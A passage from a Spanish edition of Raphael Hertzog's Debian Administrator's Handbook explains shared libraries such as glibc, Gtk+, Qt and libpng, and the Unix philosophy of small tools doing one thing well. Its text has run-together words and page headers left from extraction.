la biblioteca estándar C (glibc),que contien funciones básicascomo aquellas para abrir archivoso conexiones de red y otras quefacilitan la interacción con el

Page 2026: El Libro Del Administrador de Debian - Raphael Hertzog

núcleo;herramientas gráficas, como Gtk+y Qt, que permiten que muchosprogramas reutilicen los objetosgráficos que proveen;la biblioteca libpng, que permitecargar, interpretar y guardarimágenes en el formato PNG.

Gracias a estas bibliotecas, lasaplicaciones puede reutilizar códigoexistente. Por lo tanto, se simplifica sudesarrollo, en particular cuandomuchas aplicaciones reutilizan lasmismas funciones. Debido a quediferentes personas desarrollan lasbibliotecas, el desarrollo global delsistema es más cercano a la filosofía

Page 2027: El Libro Del Administrador de Debian - Raphael Hertzog

histórica de Unix.

CULTURA La forma Unix: una cosa a lavez

Uno de los conceptos fundamentales quesubyace en la familia Unix de sistemasoperativos es que cada herramienta debehacer sólo una cosa, y hacerla bien; lasaplicaciones luego pueden reutilizar estasherramientas para crear sobre ellas lógicamás avanzada. Se puede ver esta «forma»en muchas encarnaciones. Los scripts deconsola pueden ser el mejor ejemplo:ensamblan secuencias complejas deherramientas muy simples (como grep,wc, sort, uniq, etc.). Podemos ver otraimplementación de esta filosofía enbibliotecas de código: la bilioteca libpngpermite leer y escribir imágenes PNG, con

Page 2028: El Libro Del Administrador de Debian - Raphael Hertzog

diferentes opciones y en diferentesformas, pero sólo hace eso; ni consideraincluir funciones que muestren o editenimágenes.

Lo que es más, estas bibliotecasgeneralmente son llamadas«bibliotecas compartidas» ya que elnúcleo puede cargarlas en memoriasólo una vez, aún cuando variosprocesos utilicen la misma bibliotecasimultáneamente. Esto permite ahorrarmemoria si lo comparamos con lasituación opuesta (e hipotética) en laque se cargará el código de unabiblioteca tantas veces como hayaprocesos que la utilizan.